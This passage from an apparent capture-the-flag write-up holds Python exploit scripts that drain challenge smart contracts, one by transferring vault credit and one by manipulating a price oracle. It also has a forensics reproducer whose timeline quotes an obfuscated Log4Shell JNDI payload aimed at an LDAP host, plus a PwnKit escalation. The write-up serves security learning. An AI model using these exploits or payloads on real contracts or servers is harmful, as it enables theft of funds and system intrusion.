        for method in (&quot;post&quot;, &quot;get&quot;):
            response = getattr(session, method)(f&quot;{base_url}/flag&quot;, timeout=10)
            statuses.append(f&quot;{method.upper()} {response.status_code}&quot;)
            if not response.ok:
                continue

            flag = None
            try:
                payload = response.json()
                if isinstance(payload, dict):
                    flag = payload.get(&quot;flag&quot;)
            except requests.exceptions.JSONDecodeError:
                flag = response.text.strip()
            if isinstance(flag, str) and flag:
                return flag

        if attempt + 1 &lt; attempts:
            time.sleep(delay)
    raise RuntimeError(f&quot;launcher returned no flag ({&#39;, &#39;.join(statuses)})&quot;)


def run(base_url):
    session, credentials = launch_instance(base_url)
    private_key = credentials[&quot;PRIVKEY&quot;]
    account = Account.from_key(private_key)
    player = to_checksum_address(credentials[&quot;WALLET_ADDR&quot;])
    setup = to_checksum_address(credentials[&quot;SETUP_CONTRACT_ADDR&quot;])
    if account.address.lower() != player.lower():
        raise RuntimeError(&quot;launcher private key does not match wallet&quot;)

    rpc = JsonRpc(credentials[&quot;RPC_URL&quot;])
    vault = read_address(rpc, setup, &quot;vault()&quot;)
    relayer = read_address(rpc, vault, &quot;relayer()&quot;)
    setup_credit = read_uint(
        rpc, vault, &quot;balances(address)&quot;, (&quot;address&quot;,), (setup,)
    )
    vault_balance = int(rpc.call(&quot;eth_getBalance&quot;, [vault, &quot;latest&quot;]), 16)
    solved_before = bool(read_uint(rpc, setup, &quot;isSolved()&quot;))

    print(f&quot;setup credit: {setup_credit / 10**18:g} ETH&quot;, flush=True)
    print(f&quot;vault balance: {vault_balance / 10**18:g} ETH&quot;, flush=True)
    print(f&quot;player is relayer: {relayer.lower() == player.lower()}&quot;, flush=True)

    if not solved_before:
        if relayer.lower() != player.lower():
            raise RuntimeError(&quot;player is not the trusted relayer&quot;)
        if setup_credit &lt;= 0 or setup_credit != vault_balance:
            raise RuntimeError(&quot;unexpected Setup credit or vault balance&quot;)

        move_credit = calldata(
            &quot;transferCredit(address,address,uint256)&quot;,
            (&quot;address&quot;, &quot;address&quot;, &quot;uint256&quot;),
            (setup, player, setup_credit),
        )
        send_transaction(
            rpc, account, private_key, vault, move_credit, &quot;transferCredit tx&quot;
        )
        withdraw = calldata(&quot;withdraw(uint256)&quot;, (&quot;uint256&quot;,), (setup_credit,))
        send_transaction(rpc, account, private_key, vault, withdraw, &quot;withdraw tx&quot;)

    solved_after = bool(read_uint(rpc, setup, &quot;isSolved()&quot;))
    final_balance = int(rpc.call(&quot;eth_getBalance&quot;, [vault, &quot;latest&quot;]), 16)
    print(f&quot;Setup.isSolved(): {solved_after}&quot;, flush=True)
    print(f&quot;final vault balance: {final_balance} wei&quot;, flush=True)
    if not solved_after or final_balance != 0:
        raise RuntimeError(&quot;vault was not fully drained&quot;)

    flag = fetch_flag(session, base_url)
    print(f&quot;DYNAMIC_FLAG={flag}&quot;, flush=True)
    print(&quot;flag submission: not performed&quot;, flush=True)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--base&quot;, required=True, help=&quot;&lt;target host, port&gt;&quot;)
    args = parser.parse_args()
    run(args.base.rstrip(&quot;/&quot;))


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-13">Final Flag</h2>
<pre><code>COMPFEST18{ph4nt0m_l3dg3r_cr0ss_funct10n_r33ntr4ncy_w1th_ecdsa_m4ll3ab1l1ty}</code></pre><h2 id="15-the-timekeepers-paradox">15. The Timekeeper&#39;s Paradox</h2>
<h2 id="steps-14">Steps</h2>
<ol>
<li>Call <code>proxy.multicall([abi.encode(setPendingAdmin(1))])</code>, after which the lending pool reads the price as 1.</li>
<li>Call <code>TimekeeperToken.mint(self, ...)</code> to obtain extra collateral, and deposit that TKG into the lending pool.</li>
<li>Call <code>TimekeeperLending.borrowETH(address(pool).balance)</code>, which with the price fixed at 1 treats the deposited collateral as being worth far more than 50 ETH and therefore hands over the entire pool balance, leaving the pool at 0.</li>
<li>Confirm that <code>Setup.isSolved()</code> now returns true, and then request <code>GET /flag</code>, which returns the flag.</li>
</ol>
<h3 id="exploit-14">Exploit</h3>
<p><code>exploit.py</code></p>
<pre><code class="language-python">import argparse
import json
import time

import requests
from Crypto.Hash import keccak
from eth_abi import encode
from eth_account import Account
from eth_utils import to_checksum_address


def encode_call(signature, *values):
    digest = keccak.new(digest_bits=256, data=signature.encode()).digest()[:4]
    types_text = signature[signature.index(&quot;(&quot;) + 1 : -1]
    types = [] if not types_text else types_text.split(&quot;,&quot;)
    return &quot;0x&quot; + (digest + encode(types, values)).hex()


def decode_address(result):
    raw = result.removeprefix(&quot;0x&quot;)
    if len(raw) != 64:
        raise ValueError(&quot;expected a 32-byte address result&quot;)
    return &quot;0x&quot; + raw[-40:]


def normalize_address(address):
    return to_checksum_address(address)


def price_slot_multicall():
    price_one = &quot;0x0000000000000000000000000000000000000001&quot;
    inner = bytes.fromhex(encode_call(&quot;setPendingAdmin(address)&quot;, price_one)[2:])
    return encode_call(&quot;multicall(bytes[])&quot;, [inner])


class Rpc:
    def __init__(self, url):
        self.url = url
        self.request_id = 0

    def call(self, method, params):
        self.request_id += 1
        response = requests.post(
            self.url,
            json={
                &quot;jsonrpc&quot;: &quot;2.0&quot;,
                &quot;id&quot;: self.request_id,
                &quot;method&quot;: method,
                &quot;params&quot;: params,
            },
            timeout=10,
        )
        response.raise_for_status()
        payload = response.json()
        if &quot;error&quot; in payload:
            raise RuntimeError(json.dumps(payload[&quot;error&quot;], sort_keys=True))
        return payload[&quot;result&quot;]

    def eth_call(self, to, data):
        return self.call(&quot;eth_call&quot;, [{&quot;to&quot;: to, &quot;data&quot;: data}, &quot;latest&quot;])

    def send(self, private_key, to, data):
        account = Account.from_key(private_key)
        tx = {
            &quot;chainId&quot;: int(self.call(&quot;eth_chainId&quot;, []), 16),
            &quot;nonce&quot;: int(self.call(&quot;eth_getTransactionCount&quot;, [account.address, &quot;pending&quot;]), 16),
            &quot;gasPrice&quot;: int(self.call(&quot;eth_gasPrice&quot;, []), 16),
            &quot;gas&quot;: 1_500_000,
            &quot;to&quot;: normalize_address(to),
            &quot;value&quot;: 0,
            &quot;data&quot;: data,
        }
        signed = account.sign_transaction(tx)
        tx_hash = self.call(&quot;eth_sendRawTransaction&quot;, [signed.raw_transaction.hex()])
        for _ in range(60):
            receipt = self.call(&quot;eth_getTransactionReceipt&quot;, [tx_hash])
            if receipt is not None:
                if int(receipt[&quot;status&quot;], 16) != 1:
                    raise RuntimeError(f&quot;transaction reverted: {tx_hash}&quot;)
                print(f&quot;confirmed {tx_hash}&quot;)
                return receipt
            time.sleep(0.25)
        raise TimeoutError(f&quot;timed out waiting for {tx_hash}&quot;)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--rpc&quot;, required=True)
    parser.add_argument(&quot;--private-key&quot;, required=True)
    parser.add_argument(&quot;--setup&quot;, required=True)
    parser.add_argument(&quot;--player&quot;, required=True)
    args = parser.parse_args()

    rpc = Rpc(args.rpc)
    token = decode_address(rpc.eth_call(args.setup, encode_call(&quot;token()&quot;)))
    proxy = decode_address(rpc.eth_call(args.setup, encode_call(&quot;proxy()&quot;)))
    lending = decode_address(rpc.eth_call(args.setup, encode_call(&quot;lending()&quot;)))
    pool_wei = int(rpc.call(&quot;eth_getBalance&quot;, [lending, &quot;latest&quot;]), 16)
    collateral = 100_000 * 10**18

    print(f&quot;token={token}&quot;)
    print(f&quot;proxy={proxy}&quot;)
    print(f&quot;lending={lending}&quot;)
    print(f&quot;pool_wei={pool_wei}&quot;)

    rpc.send(args.private_key, token, encode_call(&quot;mint(address,uint256)&quot;, args.player, collateral))
    rpc.send(args.private_key, token, encode_call(&quot;approve(address,uint256)&quot;, lending, collateral))
    rpc.send(args.private_key, lending, encode_call(&quot;depositToken(uint256)&quot;, collateral))
    rpc.send(args.private_key, proxy, price_slot_multicall())
    rpc.send(args.private_key, lending, encode_call(&quot;borrowETH(uint256)&quot;, pool_wei))

    remaining = int(rpc.call(&quot;eth_getBalance&quot;, [lending, &quot;latest&quot;]), 16)
    solved = int(rpc.eth_call(args.setup, encode_call(&quot;isSolved()&quot;)), 16) != 0
    print(f&quot;remaining_pool_wei={remaining}&quot;)
    print(f&quot;isSolved={str(solved).lower()}&quot;)
    if remaining != 0 or not solved:
        raise SystemExit(&quot;exploit did not satisfy the setup&quot;)


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<p><code>launcher.py</code></p>
<pre><code class="language-python">import argparse, base64, json, subprocess, sys, time
from pathlib import Path

import requests

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 &lt;&lt; 1279) - 1
POW_EXPONENT = 1 &lt;&lt; 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(&quot;.&quot;)
    if version != &quot;s&quot;:
        raise ValueError(&quot;unsupported proof-of-work version&quot;)
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), &quot;big&quot;)
    value = int.from_bytes(base64.b64decode(seed_b64), &quot;big&quot;)
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return &quot;s.&quot; + base64.b64encode(value.to_bytes(size, &quot;big&quot;)).decode()


def launch(base):
    session = requests.Session()
    challenge = session.get(f&quot;{base}/challenge&quot;, timeout=15).json()[&quot;challenge&quot;]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(&quot;.&quot;)[1]), &quot;big&quot;)
    print(f&quot;proof-of-work: difficulty {difficulty}&quot;, flush=True)
    session.post(f&quot;{base}/solution&quot;, json={&quot;solution&quot;: solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print(&quot;proof-of-work: accepted&quot;, flush=True)
    response = session.post(f&quot;{base}/launch&quot;, timeout=120)
    response.raise_for_status()
    payload = response.json()
    try:
        payload.setdefault(&quot;_data&quot;, session.get(f&quot;{base}/data&quot;, timeout=15).json())
    except requests.RequestException:
        pass
    return session, payload


def flatten(payload):
    out = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    out[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return out


def fetch_flag(session, base, attempts=3, delay=1):
    for attempt in range(attempts):
        for method in (&quot;post&quot;, &quot;get&quot;):
            response = getattr(session, method)(f&quot;{base}/flag&quot;, timeout=10)
            if response.ok:
                text = response.text
                try:
                    data = response.json()
                    text = json.dumps(data)
                except ValueError:
                    pass
                if &quot;COMPFEST18{&quot; in text:
                    start = text.index(&quot;COMPFEST18{&quot;)
                    return text[start:text.index(&quot;}&quot;, start) + 1]
        if attempt + 1 &lt; attempts:
            time.sleep(delay)
    raise RuntimeError(&quot;launcher did not release a flag&quot;)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;--base&quot;, required=True, help=&quot;&lt;target host, port&gt;&quot;)
    parser.add_argument(&quot;--mode&quot;, choices=[&quot;coin&quot;, &quot;timekeeper&quot;], required=True)
    args = parser.parse_args()
    base = args.base.rstrip(&quot;/&quot;)

    session, payload = launch(base)
    fields = flatten(payload)
    print(&quot;launcher fields:&quot;, sorted(fields), flush=True)

    if args.mode == &quot;coin&quot;:
        work = HERE / &quot;work&quot;
        work.mkdir(exist_ok=True)
        (work / &quot;launch.json&quot;).write_text(json.dumps(payload))
        source = (HERE / &quot;solve.py&quot;).read_text()
        (HERE / &quot;solve.py&quot;).write_text(
            source.replace(&#39;ORIGIN = &quot;&lt;target host, port&gt;&quot;&#39;, f&#39;ORIGIN = &quot;{base}&quot;&#39;))
        command = [sys.executable, str(HERE / &quot;solve.py&quot;)]
    else:
        command = [
            sys.executable, str(HERE / &quot;exploit.py&quot;),
            &quot;--rpc&quot;, fields[&quot;RPC_URL&quot;].replace(&quot;{ORIGIN}&quot;, base),
            &quot;--private-key&quot;, fields[&quot;PRIVKEY&quot;],
            &quot;--setup&quot;, fields.get(&quot;SETUP_CONTRACT_ADDR&quot;) or fields[&quot;SETUP&quot;],
            &quot;--player&quot;, fields[&quot;WALLET_ADDR&quot;],
        ]

    code = subprocess.run(command, cwd=HERE).returncode
    print(&quot;solver exit:&quot;, code, flush=True)
    if code != 0:
        return code
    time.sleep(2)
    print(&quot;FLAG:&quot;, fetch_flag(session, base))
    return 0


if __name__ == &quot;__main__&quot;:
    sys.exit(main())</code></pre>
<h2 id="final-flag-14">Final Flag</h2>
<pre><code>COMPFEST18{t1m3k33p3r_pr1c3_0r4cl3_m4n1p_v14_st0r4g3_c0ll1s10n_le4k3dddddd_n0000000}</code></pre><h1 id="forensics">Forensics</h1>
<h2 id="16-burhanguild-loader-incident">16. BurhanGuild Loader Incident</h2>
<h2 id="steps-15">Steps</h2>
<ol>
<li><p>Verify all 13 artifacts against <code>integrity_manifest.json</code> and confirm that every one of them matches, then read the capture timestamps and confirm that all of them fall inside the declared window. Record both of those hypotheses as falsified rather than skipping them.</p>
</li>
<li><p>Parse every <code>BGMR</code> record in all five captures using the format implemented by the shipped plugin and dump all of the views. Note that kind 8 is undocumented by the plugin and is in fact a CVE candidate list (<code>CVE-2021-44228</code>, <code>CVE-2021-4034</code> and <code>CVE-2022-0847</code>) that is identical in every capture.</p>
</li>
<li><p>Carve the embedded ZIP archives out of <code>page_01.bin</code>, <code>page_03.bin</code>, <code>page_05.bin</code> and <code>page_07.bin</code> and read each <code>case_fragment.json</code>. Only <code>page_05</code> has a <code>host</code> of <code>orion-lab</code>, and it pairs with <code>capture_A812</code>, while <code>page_00</code>, <code>page_02</code>, <code>page_04</code> and <code>page_06</code> are slack with no archive.</p>
</li>
<li><p>Cross-check the pairing inside the captures themselves, using the maps, the process list against the process scan, the sockets and the file records, and exclude the other four captures for the concrete reasons listed above.</p>
</li>
<li><p>Carve the kind-9 ELF out of <code>capture_A812</code> and confirm its sha256 against the <code>REGION SHA256</code> reported by kind 5.</p>
</li>
<li><p>Statically reverse <code>sub_1100</code> (the KDF), <code>sub_13e0</code> (XTEA) and <code>sub_1500</code> (the CTR driver) using only <code>readelf</code> and <code>objdump</code>, without executing anything. Reimplement all three and decrypt the <code>CFG3</code> blob using the <code>BG_MUTEX</code> value, the 8-byte heap key and the 10-byte build id taken from the same capture.</p>
</li>
<li><p>Confirm the resulting plaintext with the <code>crc32</code> self-check that the configuration carries.</p>
</li>
<li><p>Recover the 473-byte deleted archive verbatim from <code>page_05.bin</code> at offset <code>0x603a2</code> (sha256 <code>4bd20e26…</code>), which closes the loop between volatile memory and deleted storage.</p>
</li>
<li><p>Build the timeline from the process, environment, maps and socket views:</p>
<pre><code>10:55:10Z  pid 1    systemd
11:07:44Z  pid 4693 java (ppid 913, JAVA_HOME=/opt/gateway-jre)
           heap 0x555500008000 holds
           ${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://172.19.0.66:1389/BurhanGuild}
           -&gt; Log4Shell, CVE-2021-44228
11:08:17Z  pid 4742 pkexec (ppid 4693), env GCONV_PATH=/tmp/.bg/gconv
           -&gt; PwnKit privilege escalation, CVE-2021-4034
11:08:22Z  pid 4787 masquerading as [kworker/u8:7] (ppid 4742), hidden from the process list
           (scan-only), BG_MUTEX=bguild-ce104cb0
           RWX map 0x7f100008f000 memfd:libpam_bg.so (deleted), build_id 542715c2e46252e4d790
           socket 10.10.18.26:42110 -&gt; morrow-gate.wreckit.invalid:8443 ESTABLISHED
           deleted /dev/shm/.bg-cache/e0bafe9e.zip, 473 B
11:09:18Z  capture_A812 acquired</code></pre></li>
<li><p>Assemble the proof token exactly as the <code>token_schema</code> of the configuration prescribes, where <code>digest = sha256(jndi_string | build_id | implant_id | c2_host | archive_sha256)</code> and the <code>|</code> stands for the separator that the schema itself declares:</p>
<pre><code>BGLPROOF{orion-lab__cap-A812__loader-4787__implant-BG-94C2A04EC6__build-542715c2e46252e4d790
         __config-360251a5def08d12cb71e72d5a1609b0d34c9dfc9520197ad8b0cc2cd7cfb76b
         __archive-4bd20e26a2e63e75af61b07af3cf5dc219ca11a018588a3ce0ee4564338cf64a
         __digest-836d4fce93ec7b3077ab7c97820d29515ea5609cf346e40b76973ca37e2418ed}</code></pre><p>The token is a single line when it is sent to the service and is wrapped here only so that it fits on the page.</p>
</li>
<li><p>Connect to the questionnaire service, which asks exactly one question — *&quot;Submit the final incident proof token for this case.&quot;* — and answer it with the assembled token, which the service accepts with <code>✔ CORRECT</code> before returning the flag. The whole interaction took three connections and required no brute force.</p>
</li>
</ol>
<h3 id="reproducer">Reproducer</h3>
<p>The following self-contained reproducer runs in roughly two seconds. It verifies the hashes, parses all ten BGMR record kinds, carves the page archives, encodes the in-event and out-of-event decision as executable assertions, carves the loader ELF, reimplements the KDF and the XTEA-CTR construction, checks the configuration CRC32, prints the timeline, and emits the proof token. The <code>--remote</code> option replays the exchange with the questionnaire service.</p>
<pre><code class="language-python">import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path

MAGIC  = b&quot;BGMR&quot;
HEADER = struct.Struct(&quot;&gt;4sBBI&quot;)
M32    = 0xFFFFFFFF

class Cur:
    def __init__(self, d): self.d, self.p = d, 0
    def take(self, n):
        assert self.p + n &lt;= len(self.d), &quot;truncated record&quot;
        r = self.d[self.p:self.p+n]; self.p += n; return r
    def up(self, f):
        s = struct.Struct(f); return s.unpack(self.take(s.size))
    def t8(self):  return self.take(self.up(&quot;&gt;B&quot;)[0]).decode()
    def t16(self): return self.take(self.up(&quot;&gt;H&quot;)[0]).decode()

def records(path):
    data, pos, out = Path(path).read_bytes(), 0, []
    while True:
        off = data.find(MAGIC, pos)
        if off &lt; 0: break
        magic, ver, kind, size = HEADER.unpack_from(data, off)
        if magic != MAGIC or ver != 3:
            pos = off + 1; continue
        s = off + HEADER.size; e = s + size
        assert size &lt;= 16*1024*1024 and e &lt;= len(data), &quot;bad record length&quot;
        out.append((kind, off, data[s:e])); pos = e
    return out

def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime(&quot;%Y-%m-%dT%H:%M:%SZ&quot;)

def parse_capture(path):
    by = {}
    for kind, off, body in records(path):
        by.setdefault(kind, []).append((off, body))
    one = lambda k: by[k][0][1]
    cap = {&quot;file&quot;: Path(path).name}

    t, nproc, boot, klen = struct.unpack_from(&quot;&gt;QH20sB&quot;, one(1))
    cap[&quot;capture_time&quot;] = iso(t); cap[&quot;processes_total&quot;] = nproc
    cap[&quot;boot_id&quot;] = boot.hex(); cap[&quot;kernel&quot;] = one(1)[31:31+klen].decode()

    c = Cur(one(2)); nl, ns = c.up(&quot;&gt;HH&quot;); procs = []
    for src, n in ((&quot;list&quot;, nl), (&quot;scan&quot;, ns)):
        for _ in range(n):
            pid, ppid, st = c.up(&quot;&gt;IIQ&quot;)
            procs.append({&quot;source&quot;: src, &quot;pid&quot;: pid, &quot;ppid&quot;: ppid,
                          &quot;started&quot;: iso(st), &quot;comm&quot;: c.t8()})
    cap[&quot;processes&quot;] = procs

    c = Cur(one(3)); env = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        env.append({&quot;pid&quot;: c.up(&quot;&gt;I&quot;)[0], &quot;key&quot;: c.t8(), &quot;value&quot;: c.t16()})
    cap[&quot;env&quot;] = env

    c = Cur(one(4)); pid, n = c.up(&quot;&gt;IH&quot;); heap = []
    for _ in range(n):
        addr, size = c.up(&quot;&gt;QI&quot;); frag = c.take(size)
        heap.append({&quot;pid&quot;: pid, &quot;address&quot;: addr, &quot;raw&quot;: frag,
                     &quot;printable&quot;: all(32 &lt;= b &lt; 127 for b in frag)})
    cap[&quot;heap&quot;] = heap

    c = Cur(one(5)); pid, addr = c.up(&quot;&gt;IQ&quot;)
    cap[&quot;map&quot;] = {&quot;pid&quot;: pid, &quot;address&quot;: addr, &quot;perms&quot;: c.take(4).decode(),
                  &quot;name&quot;: c.t8(), &quot;build_id&quot;: c.take(10).hex(),
                  &quot;region_sha256&quot;: c.take(32).hex()}

    c = Cur(one(6)); states = {1: &quot;ESTABLISHED&quot;, 2: &quot;CLOSED&quot;, 3: &quot;LISTEN&quot;}; net = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        pid = c.up(&quot;&gt;I&quot;)[0]; lip = str(ipaddress.ip_address(c.take(4)))
        lport = c.up(&quot;&gt;H&quot;)[0]; rem = c.t8(); rport, st = c.up(&quot;&gt;HB&quot;)
        net.append({&quot;pid&quot;: pid, &quot;local&quot;: f&quot;{lip}:{lport}&quot;,
                    &quot;remote&quot;: f&quot;{rem}:{rport}&quot;, &quot;state&quot;: states.get(st, st)})
    cap[&quot;net&quot;] = net

    c = Cur(one(7)); modes = {1: &quot;deleted&quot;, 2: &quot;read&quot;, 3: &quot;write&quot;}; files = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        pid, fd, mode = c.up(&quot;&gt;IHB&quot;); p = c.t16(); inode, size = c.up(&quot;&gt;QI&quot;)
        files.append({&quot;pid&quot;: pid, &quot;fd&quot;: fd, &quot;mode&quot;: modes.get(mode, mode),
                      &quot;path&quot;: p, &quot;inode&quot;: inode, &quot;size&quot;: size,
                      &quot;evidence_ref&quot;: c.t8()})
    cap[&quot;files&quot;] = files

    c = Cur(one(8)); cves = []
    while c.p &lt; len(c.d): cves.append(c.t8())
    cap[&quot;cves&quot;] = cves

    cap[&quot;region&quot;] = one(9)

    c = Cur(one(10))
    cap[&quot;supply&quot;] = {&quot;package&quot;: c.t8(), &quot;advisory&quot;: c.t8(),
                     &quot;version&quot;: c.t8(), &quot;assessment&quot;: c.t16()}
    return cap

def rol32(v, r):
    r &amp;= 31
    return ((v &lt;&lt; r) | (v &gt;&gt; (32 - r))) &amp; M32

def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b&quot;eir-v3&quot;) -&gt; bytes:
    st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
    rnd = 0
    for i, c in enumerate(mutex + key8 + build_id10 + domain):
        y = st[(i + 1) &amp; 3]
        t = ((((y &lt;&lt; 6) &amp; M32) + (y &gt;&gt; 2) + 0x9E3779B9 + c) &amp; M32) ^ st[i &amp; 3]
        t = rol32(t, 5 + (i % 13))
        st[i &amp; 3] = t
        st[(i + 2) &amp; 3] = (st[(i + 2) &amp; 3] + (t ^ rnd)) &amp; M32
        rnd = (rnd + 0x045D9F3B) &amp; M32
    return b&quot;&quot;.join(struct.pack(&quot;&gt;I&quot;, x) for x in st)

def xtea(block8: bytes, key16: bytes, rounds=32) -&gt; bytes:
    v0, v1 = struct.unpack(&quot;&gt;II&quot;, block8); k = struct.unpack(&quot;&gt;4I&quot;, key16)
    s, delta = 0, 0x9E3779B9
    for _ in range(rounds):
        v0 = (v0 + ((((v1 &lt;&lt; 4) ^ (v1 &gt;&gt; 5)) + v1) ^ (s + k[s &amp; 3]))) &amp; M32
        s = (s + delta) &amp; M32
        v1 = (v1 + ((((v0 &lt;&lt; 4) ^ (v0 &gt;&gt; 5)) + v0) ^ (s + k[(s &gt;&gt; 11) &amp; 3]))) &amp; M32
    return struct.pack(&quot;&gt;II&quot;, v0, v1)

def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -&gt; bytes:
    off = region.find(b&quot;CFG3&quot;)
    assert off &gt;= 0, &quot;no CFG3 blob&quot;
    n = struct.unpack_from(&quot;&gt;I&quot;, region, off + 4)[0]
    ct = region[off + 8: off + 8 + n]
    key = kdf(mutex, key8, build_id10)
    out = bytearray()
    for i in range((len(ct) + 7) // 8):
        ks = xtea(key8[0:4] + b&quot;\x00\x00\x00&quot; + bytes([i]), key)
        out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
    return bytes(out[:len(ct)])

def cfg_crc_ok(pt: bytes) -&gt; bool:
    j = json.loads(pt); claimed = j.pop(&quot;crc32&quot;)
    body = json.dumps(j, separators=(&quot;,&quot;, &quot;:&quot;), sort_keys=True).encode()
    return &quot;%08x&quot; % (zlib.crc32(body) &amp; M32) == claimed

def carve_zip(page: bytes):
    s = page.find(b&quot;PK\x03\x04&quot;)
    if s &lt; 0: return None
    e = page.find(b&quot;PK\x05\x06&quot;, s)
    if e &lt; 0: return None
    clen = struct.unpack_from(&quot;&lt;H&quot;, page, e + 20)[0]
    return page[s: e + 22 + clen]

def normalize_jndi(s: str) -&gt; str:
    prev = None
    while prev != s:
        prev = s
        s = re.sub(r&quot;\$\{(?:lower|upper):(.)\}&quot;, lambda m: m.group(1), s)
    return s

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;--root&quot;, default=&quot;BurhanGuild-Loader-Incident&quot;,
                    help=&quot;the unpacked attachment directory&quot;)
    ap.add_argument(&quot;--remote&quot;, action=&quot;store_true&quot;,
                    help=&quot;send the token to &lt;target host, port&gt;&quot;)
    ap.add_argument(&quot;--outdir&quot;, default=str(Path(__file__).resolve().parent / &quot;evidence&quot;))
    a = ap.parse_args()
    root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
    man = json.loads((root / &quot;artifacts&quot; / &quot;integrity_manifest.json&quot;).read_text())

    print(&quot;== 1. integrity ==&quot;)
    ok = True
    for sub, group in ((&quot;captures&quot;, &quot;captures&quot;), (&quot;deleted_pages&quot;, &quot;deleted_pages&quot;)):
        for name, want in man[group].items():
            got = hashlib.sha256((root / &quot;artifacts&quot; / sub / name).read_bytes()).hexdigest()
            ok &amp;= (got == want)
            print(f&quot;  {name:&lt;20} {&#39;OK &#39; if got == want else &#39;MISMATCH&#39;} {got}&quot;)
    print(f&quot;  case={man[&#39;case_id&#39;]} host={man[&#39;host&#39;]} window={man[&#39;capture_window&#39;]}&quot;)
    assert ok, &quot;integrity failure -- artifacts are not evidence&quot;

    print(&quot;\n== 2. deleted-storage page fragments ==&quot;)
    frags = {}
    for p in sorted((root / &quot;artifacts&quot; / &quot;deleted_pages&quot;).glob(&quot;page_*.bin&quot;)):
        z = carve_zip(p.read_bytes())
        if z is None:
            print(f&quot;  {p.name}: no archive (random slack)&quot;); continue
        (out / (p.stem + &quot;.zip&quot;)).write_bytes(z)
        import io, zipfile
        zf = zipfile.ZipFile(io.BytesIO(z))
        meta = json.loads(zf.read(&quot;case_fragment.json&quot;))
        meta[&quot;_zip&quot;] = z; meta[&quot;_page&quot;] = p.name
        meta[&quot;_sha256&quot;] = hashlib.sha256(z).hexdigest()
        meta[&quot;_log&quot;] = zf.read(&quot;transfer.log&quot;).decode()
        frags[meta[&quot;capture_id&quot;]] = meta
        print(f&quot;  {p.name}: cap={meta[&#39;capture_id&#39;]} host={meta[&#39;host&#39;]:&lt;13} &quot;
              f&quot;collection={meta[&#39;collection&#39;]:&lt;17} ref={meta[&#39;evidence_ref&#39;]} &quot;
              f&quot;size={len(z)} sha256={meta[&#39;_sha256&#39;]}&quot;)

    print(&quot;\n== 3. captures ==&quot;)
    caps = {}
    for p in sorted((root / &quot;artifacts&quot; / &quot;captures&quot;).glob(&quot;capture_*.raw&quot;)):
        c = parse_capture(p); tag = p.stem.split(&quot;_&quot;)[1]; caps[tag] = c
        (out / f&quot;region_{tag}.bin&quot;).write_bytes(c[&quot;region&quot;])
        assert hashlib.sha256(c[&quot;region&quot;]).hexdigest() == c[&quot;map&quot;][&quot;region_sha256&quot;]
        env = {e[&quot;key&quot;]: (e[&quot;pid&quot;], e[&quot;value&quot;]) for e in c[&quot;env&quot;]}
        key8 = next((h for h in c[&quot;heap&quot;] if not h[&quot;printable&quot;] and len(h[&quot;raw&quot;]) == 8), None)
        c[&quot;mutex&quot;] = env.get(&quot;BG_MUTEX&quot;)
        c[&quot;key8&quot;] = key8[&quot;raw&quot;] if key8 else None
        c[&quot;frag&quot;] = frags.get(tag)
        print(f&quot;  {p.name}  t={c[&#39;capture_time&#39;]}  boot={c[&#39;boot_id&#39;][:12]}..  &quot;
              f&quot;map={c[&#39;map&#39;][&#39;name&#39;]} ({c[&#39;map&#39;][&#39;perms&#39;]}) pid={c[&#39;map&#39;][&#39;pid&#39;]}&quot;)
        print(f&quot;      BG_MUTEX={c[&#39;mutex&#39;]}  key8=&quot;
              f&quot;{c[&#39;key8&#39;].hex() if c[&#39;key8&#39;] else None}  build_id={c[&#39;map&#39;][&#39;build_id&#39;]}&quot;)
        print(f&quot;      net={[n[&#39;remote&#39;] for n in c[&#39;net&#39;]]}  &quot;
              f&quot;files={[(f[&#39;mode&#39;], f[&#39;path&#39;], f[&#39;size&#39;], f[&#39;evidence_ref&#39;]) for f in c[&#39;files&#39;]]}&quot;)
        print(f&quot;      supply={c[&#39;supply&#39;][&#39;version&#39;]}  frag_host=&quot;
              f&quot;{c[&#39;frag&#39;][&#39;host&#39;] if c[&#39;frag&#39;] else None}&quot;)

    print(&quot;\n== 4. in-event decision ==&quot;)
    inev, excl = [], {}
    for tag, c in caps.items():
        reasons = []
        if c[&quot;frag&quot;] is None:
            reasons.append(&quot;no deleted-page case fragment corroborates this capture&quot;)
        else:
            if c[&quot;frag&quot;][&quot;host&quot;] != man[&quot;host&quot;]:
                reasons.append(f&quot;fragment host={c[&#39;frag&#39;][&#39;host&#39;]} != manifest host={man[&#39;host&#39;]}&quot;)
            if not any(f[&quot;evidence_ref&quot;] == c[&quot;frag&quot;][&quot;evidence_ref&quot;] for f in c[&quot;files&quot;]):
                reasons.append(&quot;capture file record does not reference the fragment evidence_ref&quot;)
        if c[&quot;mutex&quot;] is None:  reasons.append(&quot;no BG_MUTEX implant marker&quot;)
        if c[&quot;key8&quot;] is None:   reasons.append(&quot;no 8-byte loader key in heap&quot;)
        if &quot;libpam_bg&quot; not in c[&quot;map&quot;][&quot;name&quot;]:
            reasons.append(f&quot;mapped region is {c[&#39;map&#39;][&#39;name&#39;]}, not memfd:libpam_bg.so&quot;)
